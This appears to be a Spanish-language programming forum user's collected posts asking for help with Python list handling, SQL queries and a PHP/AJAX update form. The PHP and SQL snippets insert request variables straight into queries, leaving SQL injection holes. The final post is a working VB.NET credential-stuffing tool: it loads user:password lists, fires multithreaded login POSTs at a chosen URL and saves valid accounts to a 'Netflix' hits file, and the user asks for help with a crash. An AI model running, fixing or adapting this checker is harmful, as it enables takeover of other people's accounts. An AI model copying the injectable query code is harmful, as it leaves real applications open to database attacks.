Mensajes

podrian ayudarme porfavor

Código [Seleccionar] Expandir

['7111', '7112', 7114, 7115, 7116, 7117, 7118, 7119, 7121, 7123, 7124, 7125, 7127, 7128, 7129, 7130, 7131, 7132, 7133, 7134, 7135, 7136, 7137, 7138, 7140, 7141, 7142, 7143, 7144, 7145, 7146, 7149, 7150, 7151, 7152, 7153, 7154, 7155, 7156, 7157, 7158, 7159, 7160, 7161, 7163, 7165, 7166, 7167, 7168, 7170, 7171, 7172, 7173, 7176, 7177, 7178, 7179, 7180, 7184, 7185, 7186, 7187, 7188, 7189, 7190, 7191, 7192, 7193, 7194, 7195, 7196, 7197, 7198, 7199, 7200, 7201, 7202]

tengo esta lista de numeros podrian darme una idea para que se agregen los numeros que faltan
ejemplo
'7111', '7112','7113', '7114',


gracias

alguien me puede ayudar en esto

Código [Seleccionar] Expandir

arr = ['66', '59', '07/05/2', '020', '07:13', 'a.m.', '135.00 - - 135.00', '66', '61', '07/05/2', '020', '07:15', 'a.m.', '120.00 - - 120.00', '66', '62', '07/05/2', '020', '07:31', 'a.m.', '75.00 - - 75.00', '66', '64', '07/05/2', '020', '07:41', 'a.m.', '60.00 - - 60.00', '66', '65', '07/05/2', '020', '07:44', 'a.m.', '45.00 - - 45.00', '66', '66', '07/05/2', '020', '07:54', 'a.m.', '65.00 - - 65.00', '66', '67', '07/05/2', '020', '08:03', 'a.m.', '90.00 - - 90.00', '66', '68', '07/05/2', '020', '08:06', 'a.m.', '135.00 - - 135.00', '66', '70', '07/05/2', '020', '08:10', 'a.m.', '95.00 - - 95.00', '66', '71', '07/05/2', '020', '08:15', 'a.m.', '0.00 - - 0.00', '66', '72', '07/05/2', '020', '08:18', 'a.m.', '0.00 - - 0.00', '66', '73', '07/05/2', '020', '08:18', 'a.m.', '0.00 - - 0.00', '66', '74', '07/05/2', '020', '08:21', 'a.m.', '85.00 - - 85.00', '66', '75', '07/05/2', '020', '08:26', 'a.m.', '0.00 - - 0.00', '66', '77', '07/05/2', '020', '08:30', 'a.m.', '240.00 - - 240.00', '66', '78', '07/05/2', '020', '08:43', 'a.m.', '45.00 - - 45.00', '66', '79', '07/05/2', '020', '08:44', 'a.m.', '145.00 - - 145.00', '66', '80', '07/05/2', '020', '08:45', 'a.m.', '250.00 - - 250.00', '66', '81', '07/05/2', '020', '08:51', 'a.m.', '45.00 - - 45.00', '66', '82', '07/05/2', '020', '08:54', 'a.m.', '190.00 - - 190.00', '66', '84', '07/05/2', '020', '08:56', 'a.m.', '120.00 - - 120.00', '66', '85', '07/05/2', '020', '08:57', 'a.m.', '170.00 - - 170.00', '66', '86', '07/05/2', '020', '08:59', 'a.m.', '30.00 - - 30.00', '66', '87', '07/05/2', '020', '09:02', 'a.m.', '140.00 - - 140.00', '66', '88', '07/05/2', '020', '09:02', 'a.m.', '175.00 - - 175.00', '66', '89', '07/05/2', '020', '09:16', 'a.m.', '125.00 - - 125.00', '66', '90', '07/05/2', '020', '09:18', 'a.m.', '105.00 - - 105.00', '66', '91', '07/05/2', '020', '09:25', 'a.m.', '75.00 - - 75.00', '66', '92', '07/05/2', '020', '09:27', 'a.m.', '75.00 - - 75.00', '66', '94', '07/05/2', '020', '09:28', 'a.m.', '145.00 - - 145.00', '66', '95', '07/05/2', '020', '09:29', 'a.m.', '100.00 - - 100.00', '66', '97', '07/05/2', '020', '09:31', 'a.m.', '145.00 - - 145.00', '66', '98', '07/05/2', '020', '09:30', 'a.m.', '135.00 - - 135.00', '66', '99', '07/05/2', '020', '09:44', 'a.m.', '30.00 - - 30.00', '67', '01', '07/05/2', '020', '09:47', 'a.m.', '35.00 - - 35.00', '67', '02', '07/05/2', '020', '09:47', 'a.m.', '75.00 - - 75.00', '67', '03', '07/05/2', '020', '09:49', 'a.m.', '320.00 - - 320.00', '67', '04', '07/05/2', '020', '09:48', 'a.m.', '125.00 - - 125.00', '67', '05', '07/05/2', '020', '09:51', 'a.m.', '25.00 - - 25.00', '67', '07', '07/05/2', '020', '09:54', 'a.m.', '150.00 - - 150.00', '67', '08', '07/05/2', '020', '09:55', 'a.m.', '45.00 - - 45.00', '67', '09', '07/05/2', '020', '09:57', 'a.m.', '45.00 - - 45.00', '67', '10', '07/05/2', '020', '10:08', 'a.m.', '150.00 - - 150.00', '67', '13', '07/05/2', '020', '10:16', 'a.m.', '130.00 - - 130.00', '67', '14', '07/05/2', '020', '10:17', 'a.m.', '75.00 - - 75.00', '67', '15', '07/05/2', '020', '10:18', 'a.m.', '100.00 - - 100.00', '67', '16', '07/05/2', '020', '10:20', 'a.m.', '125.00 - - 125.00', '67', '18', '07/05/2', '020', '10:20', 'a.m.', '185.00 - - 185.00', '67', '19', '07/05/2', '020', '10:22', 'a.m.', '60.00 - - 60.00', '67', '21', '07/05/2', '020', '10:31', 'a.m.', '60.00 - - 60.00', '67', '23', '07/05/2', '020', '10:44', 'a.m.', '140.00 - - 140.00', '67', '24', '07/05/2', '020', '10:47', 'a.m.', '400.00 - - 400.00', '67', '26', '07/05/2', '020', '10:55', 'a.m.', '80.00 - - 80.00', '67', '28', '07/05/2', '020', '10:59', 'a.m.', '75.00 - - 75.00', '67', '29', '07/05/2', '020', '11:00', 'a.m.', '150.00 - - 150.00', '67', '32', '07/05/2', '020', '11:18', 'a.m.', '0.00 - - 0.00', '67', '33', '07/05/2', '020', '11:32', 'a.m.', '115.00 - - 115.00', '67', '34', '07/05/2', '020', '11:44', 'a.m.', '85.00 - - 85.00', '67', '35', '07/05/2', '020', '11:51', 'a.m.', '40.00 - - 40.00', '67', '36', '07/05/2', '020', '11:54', 'a.m.', '170.00 - - 170.00', '67', '37', '07/05/2', '020', '12:11', 'p.m.', '0.00 - - 0.00', '67', '38', '07/05/2', '020', '12:11', 'p.m.', '140.00 - - 140.00', '67', '39', '07/05/2', '020', '12:16', 'p.m.', '90.00 - - 90.00', '67', '41', '07/05/2', '020', '12:23', 'p.m.', '70.00 - - 70.00', '67', '42', '07/05/2', '020', '12:26', 'p.m.', '50.00 - - 50.00', '67', '45', '07/05/2', '020', '12:25', 'p.m.', '65.00 - - 65.00', '67', '46', '07/05/2', '020', '12:28', 'p.m.', '60.00 - - 60.00', '67', '47', '07/05/2', '020', '12:31', 'p.m.', '60.00 - - 60.00', '67', '49', '07/05/2', '020', '12:37', 'p.m.', '45.00 - - 45.00', '67', '50', '07/05/2', '020', '12:38', 'p.m.', '20.00 - - 20.00', '67', '51', '07/05/2', '020', '12:39', 'p.m.', '60.00 - - 60.00', '67', '52', '07/05/2', '020', '12:44', 'p.m.', '75.00 - - 75.00', '67', '53', '07/05/2', '020', '12:46', 'p.m.', '40.00 - - 40.00', '67', '54', '07/05/2', '020', '12:54', 'p.m.', '100.00 - - 100.00', '67', '55', '07/05/2', '020', '12:56', 'p.m.', '65.00 - - 65.00', '67', '56', '07/05/2', '020', '01:01', 'p.m.', '60.00 - - 60.00', '67', '57', '07/05/2', '020', '01:03', 'p.m.', '45.00 - - 45.00', '67', '58', '07/05/2', '020', '01:04', 'p.m.', '130.00 - - 130.00', '67', '59', '07/05/2', '020', '01:14', 'p.m.', '240.00 - - 240.00', '67', '60', '07/05/2', '020', '01:20', 'p.m.', '90.00 - - 90.00', '67', '61', '07/05/2', '020', '01:20', 'p.m.', '15.00 - - 15.00', '67', '62', '07/05/2', '020', '01:21', 'p.m.', '75.00 - - 75.00', '67', '63', '07/05/2', '020', '01:36', 'p.m.', '30.00 - - 30.00', '67', '64', '07/05/2', '020', '01:41', 'p.m.', '40.00 - - 40.00', '67', '65', '07/05/2', '020', '01:43', 'p.m.', '60.00 - - 60.00', '67', '66', '07/05/2', '020', '01:53', 'p.m.', '65.00 - - 65.00', '67', '67', '07/05/2', '020', '01:58', 'p.m.', '155.00 - - 155.00', 'Tickets: 87 8295 - - 8,295.00', 'Totals', 'Efectivo 1,584.00', 'Tarjeta de Cr\xc3\xa9dito 0.00', 'Ingresos Efectivo 510.00', 'Ingresos Tarjeta de Cr\xc3\xa9dito 0.00', 'Gastos Total 7,221.00', 'Gastos Tarjeta de Cr\xc3\xa9dito 0.00', 'Total de Efectivo en Gaveta -6,711.00']

tengo este array pero mi duda es como puedo concatenar los 2 primeros elementos cada 6
a que me refiero a estos  66', '59'  66', '59'  '66', '62' y asi susecivamente si alguien pudiera ayduarme gracias

buenas tardes tengo un problema,espero me puedan ayudar

mi problema es este, mylines1 es mi lista como ven la recorro con ciclos for y borro el espacio en blanco del final,bueno  me genera la lista de esta forma

Código [Seleccionar] Expandir

sb=myline.rsplit(" ",1)
mylines1.append(sb)
for a in mylines1:
   for b in a:
         mylines11.append(b)

for index, i in enumerate(mylines11):
   for x in range(1,200):
       if "Transacciones" in i:
           try:
               t1=re.search("(Ingresos.*)",mylines11[index+x])
           except:pass
           if not (t1) :
             
               reporte2=mylines11[index+x]
               reporte1.append(reporte2)
               print reporte2
           else:
               break


Código [Seleccionar] Expandir

Gastos


06/05/20


20


01:37:30


p.m.


[RAYA]
2050.00


06/05/20


20


01:37:42


p.m.


[RENTA]
100.00


06/05/20


20


01:37:53


p.m.


[REPARTIDOR]
220.00


06/05/20


20


01:38:12


p.m.


[TORTILLAS]
310.00


06/05/20


20


01:39:05


p.m.


[FRUTERIA
(ABONO


NOTA
MAY-3)]


200.00


06/05/20


20


01:39:58


p.m.


[QUESO
(ABONO


NOTA
MAY-1)]


200.00


06/05/20


20


01:41:32


p.m.


[GMC]
200.00


06/05/20


20


01:41:42


p.m.


[IMSS]
200.00


06/05/20


20


01:42:00


p.m.


[PEPSI]
382.00


06/05/20


20


01:42:12


p.m.


[MARLIN]
350.00


06/05/20


20


[OXXO]
31.00


01:42:28


p.m.


06/05/20


20


01:45:02


p.m.


[GAS
CILINDRO


(COMPLEMENTO)]


350.00


06/05/20


20


01:45:50


p.m.


[CHILE (ABONO)]
200.00


06/05/20


20


02:08:59


p.m.


[CARNE]
2000.00


Total
6,793.00


Tarjeta de Crédito
0.00


Total de Efectivo y Tarjetas
6,793.00




lo que quiero hacer es esto

Código [Seleccionar] Expandir

[GAS
CILINDRO


(COMPLEMENTO)]

los que estan entre corchetes unirlos en uno solo dentro del list se que existe join pero no me doy una idea podrian hecharme la mano porfavor

Código (sql) [Seleccionar] Expandir

select distinct (select count(cobranza.Id_Solicitud) from cobranza where cobranza.Id_Solicitud=solicitud.Id_Solicitud and Id_Tipo_Movimiento=2 and BandEliminar=1) as cuenta1 ,(select sum(solicitud.saldo) from solicitud ) as cuenta2,DATE(Fecha_Proximo_Pago) AS fechaproximo,CURDATE(),DATEDIFF( CURDATE(),Fecha_Proximo_Pago) AS fecharesta ,

(select IF(fecharesta <0, solicitud.saldo, 0))as figura



from solicitud

alguien podria darme una idea para que me de la suma total de los saldos que cumplan con la condicion menor a 0 si agrego un sum al if me da la suma pero de todos los saldos y yo solo necesito la suma de la condicion,gracias de antemano

por alguna razon no me funciona con distinct con group by si pero al querer mostrar con order la ultima fecha me de la inicial ,lo realizo de esta manera

Código [Seleccionar] Expandir

$sql = $this->conn->query("SELECT central.sucursal as numero,t_sucursales.nombre_suc, central.fecha, central.inventario,t_sucursales.numerosucursal FROM central INNER JOIN t_sucursales ON central.sucursal = t_sucursales.numerosucursal  WHERE

(

MONTH(central.fecha)  LIKE  '%". $mes ."%'
and YEAR(central.fecha)  LIKE  '%". $año ."%'
and t_sucursales.numerosucursal  LIKE  '%". $numerosucursal ."%'
and t_sucursales.nombre_suc LIKE  '%". $nombresursal ."%'
     
    ) GROUP BY central.sucursal  ORDER BY central.fecha DESC") ;


eso era gracias ,disculpa y si quisiera que al dejar vacio mostrara todos pero sin repetir sucursales

[Mod:]

buenas podrian darme una idea para que solo muestre el ultimo registro en vez de todos?, gracias

Código (sql) [Seleccionar] Expandir

SELECT central.sucursal as numero, t_sucursales.nombre_suc, central.fecha, central.inventario FROM central INNER JOIN t_sucursales ON central.sucursal = t_sucursales.numerosucursal WHERE
(
MONTH(central.fecha)  LIKE  '%". $mes ."%'
and YEAR(central.fecha)  LIKE  '%". $año ."%'
and t_sucursales.numerosucursal  LIKE  '%". $numerosucursal ."%'
and t_sucursales.nombre_suc LIKE  '%". $nombresursal ."%'
   )


Mod: Temas sobre Bases de Datos van al subforo de Bases de Datos.

[Mod:]

buenas podrian ayudarme con esta consulta

Código (sql) [Seleccionar] Expandir

SELECT central.sucursal as numero, t_sucursales.nombre_suc, central.fecha, central.regalias FROM central INNER JOIN t_sucursales ON central.sucursal = t_sucursales.numerosucursal WHERE(MONTH(central.fecha) = '$mes' and YEAR(central.fecha) = '$año'" and t_sucursales.numerosucursal = '$numerosucursal' )

or MONTH(central.fecha) = '$mes'

and YEAR(central.fecha) = '$año'

or t_sucursales.numerosucursal = '$numerosucursal'

como podria hacer que por ejemplo si se cumple la primera condicion de mes año y sucursal realize filtro y si no haga la de mes y año o sucursal ,gracias



Mod: Temas sobre Bases de Datos, van al subforo de Base de Datos.

buenos dias,tardes,noches pudieran ayudarme con esto porfavor

tengo esto en mi clase clase_user.php

Código [Seleccionar] Expandir

function update ($id,$nombre,$apellido,$oficio){

$update=$this->bd->query("UPDATE clientes set nombre='$nombre',apellido='$apellido',oficio='$oficio' where id='$id'");
     $afectados=$this->bd->affected_rows;
     return $afectados;
}

en mi js llamado guardar.js tengo esto

Código [Seleccionar] Expandir

function modificar (){
       
    var parametros= $('#datos').serialize();
   
    $.ajax({
        data: parametros,
        url:  'ajax/modificar.php',
        type: 'post',
        success: function (response){
         $('#respuesta').html(response)
       
         cargar();

        }


    });

          }

en mi archivo modificar tengo esto

Código [Seleccionar] Expandir

<?php 
include_once '../config/clase_user.php';


$usuarios= new usuarios();




$caja=$usuarios->update($_POST['nombre'],$_POST['apellidos'],$_POST['oficio']);
if ($caja==1) {

echo"CONEXION EXITOSA";
}else {
echo"Ract FALLIDO";
}



 ?>



en mi vista tengo esto

Código [Seleccionar] Expandir

<!doctype html>
<html lang="en">
  <head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="css/bootstrap.min.css">
    <link rel="stylesheet" type="text/css" href="css/style.css">

    <title>Hello, world!</title>
  </head>
  <body onload="cargar()">
  <?php  
 
  ?>
     <div id="respuesta"></div>
  <form id="datos" autocomplete="off">
  <div class="form-group">
   
    <label>Nombre</label>
    <input type="text" class="form-control" id="nombre" name="nombre"  placeholder="Name" >
  </div>
  <div class="form-group">
    <label>Apellidos</label>
    <input type="text" class="form-control" id="apellidos" name="apellidos"  placeholder="Name" >
  </div>
  <div class="form-group">
    <label>Oficio</label>
    <input type="text" class="form-control" id="oficio" name="oficio"  placeholder="Name" >
  </div>


  <button type="button" onclick="guardar()" class="btn btn-dark">Enviar</button>

</form>
     <table class="posclas table">
  <thead class="thead-dark">
    <tr>
      <th scope="col">Nombre</th>
      <th scope="col">Apellido</th>
      <th scope="col">Oficio</th>
   
    </tr>
  </thead>
  <tbody id="cargar">
   
   
  </tbody>
</table>

<div class="modal fade" id="modalEdicion" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">

  <div class="modal-dialog modal-sm" role="document">
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
        <h4 class="modal-title" id="myModalLabel">Actualizar datos</h4>
      </div>
      <div class="modal-body">
          <input type="text" id="id" name="id">
          <label>Nombre</label>
          <input type="text" name="nombre" id="nombre" class="form-control input-sm">
         
          <label>apellidos</label>
          <input type="text" name="apellidos" id="apellidos" class="form-control input-sm">
<label>oficio</label>

          <input type="text"  name="oficio" id="oficio" class="form-control input-sm">
         
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-warning" onclick="modificar()" id="actualizadatos" data-dismiss="modal">Actualizar</button>
       
      </div>
    </div>
  </div>
</div>
   

    <!-- Optional javascript -->
    <!-- jQuery first, then Popper.js, then Bootstrap JS -->
    <script type="text/javascript" src="js/jquery-3.4.1.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script>
    <script src="js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
    <script type="text/javascript" src="js/guardar.js"></script>
  </body>
</html>


mi pregunta es como podria pasar esos valores al modal que viene ahi adentro por mas que trato no puedo comprender esta parte en ajax,gracias

 esto es un diccionary attack  pero despues de un rato de funcionar por ejemplo llega a la cuenta 76000 se crasea y me dice que fault riched20.dll  ,les agradeceria mucho que me pudieran apoyar en este error

Código [Seleccionar] Expandir

Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Text.RegularExpressions
Imports System.Threading
Imports xNet


Public Class Form1

   Private dragging As Boolean
   Private offset As Point
   Dim date1 As String
   Public int_0 As Integer
   Public int_1 As Integer
   Public int_2 As Integer
   Public int_3 As Integer
   Public int_4 As Integer
   Public int_5 As Integer
   Public int_6 As Integer
   Public int_7 As Integer
   Public object_0 As Object = New Object
   Private point_0 As Point
   ' Public proxyType_0 As ProxyType
   Public queue_0 As Queue
   Public random_0 As Random = New Random
   Public string_0 As String()
   Public string_1 As String()
   Public string_2 As String() = New String(0 - 1) {}
   Public string_3 As String() = New String(0 - 1) {}
   Private string_5 As String = ""
   Public thread_0 As Thread()
   Private Declare Function CoInternetSetFeatureEnabled Lib "urlmon.dll" (int_8 As Integer, <MarshalAs(UnmanagedType.U4)> int_9 As Integer, bool_0 As Boolean) As <MarshalAs(UnmanagedType.[Error])> Integer
   Private Declare Function CreateRoundRectRgn Lib "Gdi32.dll" (int_8 As Integer, int_9 As Integer, int_10 As Integer, int_11 As Integer, int_12 As Integer, int_13 As Integer) As IntPtr
   Private testfile As String = Application.StartupPath & "\Netflix\Good" + "_" & DateTime.Now.ToString("M-d-yyyy_h-m") + ".txt"
   Public Sub New()
       Me.InitializeComponent()
       Control.CheckForIllegalCrossThreadCalls = False
       ' Me.text_proxyType.SelectedIndex = 0
       Me.NumericUpDown1.Value = 100
       RichTextBox1.SelectionAlignment = HorizontalAlignment.Center
   End Sub
   Private Sub Panel1_MouseDown(sender As Object, e As MouseEventArgs) Handles Panel1.MouseDown
       Me.dragging = True
       Me.offset = e.Location
   End Sub

   Private Sub Panel1_MouseMove(sender As Object, e As MouseEventArgs) Handles Panel1.MouseMove
       If Me.dragging Then
           Dim point As Point = MyBase.PointToScreen(e.Location)
           MyBase.Location = New Point((point.X - Me.offset.X), (point.Y - Me.offset.Y))
           Cursor.Current = Cursors.NoMove2D
       End If
   End Sub

   Private Sub Panel1_MouseUp(sender As Object, e As MouseEventArgs) Handles Panel1.MouseUp
       Me.dragging = False
   End Sub
   Protected Overrides ReadOnly Property CreateParams() As CreateParams
       Get
           Dim CP As CreateParams = MyBase.CreateParams
           CP.Style = &HA0000
           Return CP
       End Get
   End Property

   Private Sub Label1_Click(sender As Object, e As EventArgs) Handles Label1.Click
       End
   End Sub

   Private Sub Label2_Click(sender As Object, e As EventArgs) Handles Label2.Click
       WindowState = FormWindowState.Minimized
   End Sub
   Private Sub Label10_Click(sender As Object, e As EventArgs) Handles Label10.Click
       MsgBox("aft", vbInformation, "Dz All Checkers 1.0")
   End Sub

   Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
       Using dialog As OpenFileDialog = New OpenFileDialog
           dialog.Filter = "Text files | * .txt"
           If (dialog.ShowDialog = DialogResult.OK) Then
               Me.string_1 = Enumerable.ToArray(Of String)(Enumerable.Distinct(Of String)(File.ReadAllLines(dialog.FileName)))
               Me.int_1 = Me.string_1.Length
               Me.MetroLabel_1554.Text = Me.int_1.ToString
           End If
       End Using
   End Sub

   Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click

       Using dialog As OpenFileDialog = New OpenFileDialog
           dialog.Filter = "Text files | * .txt"
           If (dialog.ShowDialog = DialogResult.OK) Then
               Me.string_0 = Enumerable.ToArray(Of String)(Enumerable.Distinct(Of String)(File.ReadAllText(dialog.FileName).Replace(";", ":").Split(New Char() {ChrW(10)})))
               Me.int_0 = Me.string_0.Length
               Me.int_6 = Me.int_0
               Me.MetroLabel_1555.Text = Me.int_0.ToString
           End If
       End Using
   End Sub
   Public Sub method_5()

       ' Dim proxyAddress As String = Me.string_1(Me.random_0.[Next](0, Me.int_1))
       While Me.queue_0.Count > 0
           Dim obj As Object = Me.object_0
           Dim flag As Boolean = False
           Dim obj2 As Object
           Dim text As String
           Try
               Dim expr_29 As Object = obj
               obj2 = expr_29
               Monitor.Enter(expr_29, flag)
               Try
                   text = Me.queue_0.Peek().ToString().TrimEnd(New Char() {vbCr}).Trim()
                   Me.queue_0.Dequeue()
               Catch ex As Exception

               End Try

           Finally
               If flag Then
                   Monitor.[Exit](obj2)
               End If
           End Try
           Dim array As String() = text.Split(New Char() {":"c})
           Try

               Using httpRequest As HttpRequest = New HttpRequest()
                   '  httpRequest.Proxy = ProxyClient.Parse(Me.proxyType_0, proxyAddress)
                   Dim cookies As CookieDictionary = New CookieDictionary(False)
                   httpRequest.Cookies = cookies
                   httpRequest.IgnoreProtocolErrors = True
                   httpRequest.ConnectTimeout = TextBox6.Text '25000
                   httpRequest.AllowAutoRedirect = True
                   httpRequest.KeepAlive = True
                   httpRequest.UserAgent = Http.ChromeUserAgent()
                   httpRequest.Referer = TextBox2.Text
                   httpRequest.KeepAliveTimeout = TextBox7.Text

                   '
                   'Dim string_ As String =httpRequest.[Get]("http://www..org/index.php/account/login").ToString()
                   Dim string_ As String = httpRequest.Post(TextBox2.Text).ToString()
                   ' Dim value As String = Form1.smethod_0(string_, "data-reactid=""36""/><input type=""hidden"" name=""authURL"" value=""", """ data-reactid")
                   httpRequest.AddParam(TextBox4.Text, array(0))
                   httpRequest.AddParam(TextBox5.Text, array(1))

                   Dim text2 As String = httpRequest.Post(TextBox2.Text).ToString()
                   RichTextBox2.Text = text2
                   If text2.Contains(TextBox3.Text) Then
                       Dim str As String
                       If text2.Contains(TextBox3.Text) Then
                           str = "cuenta"
                       Else
                           str = "_"
                       End If
                       obj = Me.object_0
                       Dim flag2 As Boolean = False
                       Try
                           Dim expr_222 As Object = obj
                           obj2 = expr_222
                           Monitor.Enter(expr_222, flag2)
                           System.Array.Resize(Of String)(Me.string_2, Me.int_2 + 1)
                           Me.string_2(Me.int_2) = "---------------------Account---------------------" & vbNewLine & text & vbNewLine + "Subscription = " + str & vbNewLine
                           Me.int_2 += 1
                           Me.int_5 += 1
                           Me.int_6 -= 1
                           Continue While
                       Finally
                           If flag2 Then
                               Monitor.[Exit](obj2)
                           End If
                       End Try
                   End If
                   obj = Me.object_0
                   Dim flag3 As Boolean = False
                   Try
                       Dim expr_29E As Object = obj
                       obj2 = expr_29E
                       Monitor.Enter(expr_29E, flag3)
                       Me.int_3 += 1
                   Finally
                       If flag3 Then
                           Monitor.[Exit](obj2)
                       End If
                   End Try
                   Me.int_5 += 1
                   Me.int_6 -= 1
               End Using
           Catch
               Me.int_7 += 1
               Me.queue_0.Enqueue(text)
               '  proxyAddress = Me.string_1(Me.random_0.[Next](0, Me.int_1))
           End Try
       End While
       If Me.int_5 = Me.int_0 Then
           Me.method_6()
       End If
   End Sub

   Public Sub method_6()
       For i As Integer = 0 To Me.int_4 - 1
           Me.thread_0(i) = New Thread(New ThreadStart(AddressOf Me.method_5))
           Me.thread_0(i).IsBackground = True
           Me.thread_0(i).Abort()
       Next
   End Sub
   Public Shared Function smethod_0(ByVal string_6 As String, ByVal string_7 As String, ByVal string_8 As String) As String
       On Error Resume Next
       Return Regex.Match(string_6, (string_7 & "(.*?)" & string_8)).Groups.Item(1).Value
   End Function
   Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs) Handles TextBox1.TextChanged
       Dim num As Integer = 100
       Try
           num = Integer.Parse(Me.TextBox1.Text)
       Catch obj1 As Exception
       End Try
       Me.NumericUpDown1.Value = num
   End Sub

   Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
       Me.MetroLabel_1558.Text = Me.int_2.ToString
       Me.MetroLabel_1556.Text = Me.int_3.ToString
       Me.Label9.Text = Me.int_5.ToString
       '    Me.Label9.Text = Me.int_7.ToString
       If (Me.int_2 <> Enumerable.Count(Of String)(Me.RichTextBox1.Lines)) Then
           Me.RichTextBox1.Lines = Me.string_2
       End If
   End Sub

   Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
       Try
           Directory.CreateDirectory(String.Concat("Netflix\"))
           If Me.int_0 = 0 Then
               MessageBox.Show("Load Accounts.")
               '  ElseIf Me.int_1 = 0 Then
               '     MessageBox.Show("Load Proxies.")
           Else
               ' Select Case Me.text_proxyType.SelectedIndex
               ' Case 0
               'Me.proxyType_0 = ProxyType.Http
               'Case 1
               'Me.proxyType_0 = ProxyType.Socks4
               'Case 2
               'Me.proxyType_0 = ProxyType.Socks5
               'Case Else
               'MessageBox.Show("Choose Proxy type")
               'Return
               'End Select
               Me.int_2 = 0
               Me.int_3 = 0
               Me.string_2 = Nothing
               Me.string_3 = Nothing
               Me.int_5 = 0
               Me.int_7 = 0
               Me.int_6 = Me.int_0
               Me.queue_0 = New Queue()

               For i As Integer = 0 To Me.int_0 - 1
                   Me.queue_0.Enqueue(Me.string_0(i))
               Next
               Me.int_4 = Convert.ToInt32(Me.NumericUpDown1.Value)
               Me.thread_0 = New Thread(Me.int_4 - 1) {}
               For j As Integer = 0 To Me.int_4 - 1
                   Me.thread_0(j) = New Thread(New ThreadStart(AddressOf Me.method_5))
                   Me.thread_0(j).IsBackground = True
                   Me.thread_0(j).Start()
               Next
               Me.Timer1.Enabled = True
           End If
       Catch ex As Exception

       End Try

   End Sub

   Private Sub RichTextBox1_TextChanged(sender As Object, e As EventArgs) Handles RichTextBox1.TextChanged
       Try
           RichTextBox1.SaveFile(testfile, RichTextBoxStreamType.PlainText)
       Catch ex As Exception

       End Try
   End Sub

   Private Sub Label15_Click(sender As Object, e As EventArgs) Handles Label15.Click, Label16.Click

   End Sub
End Class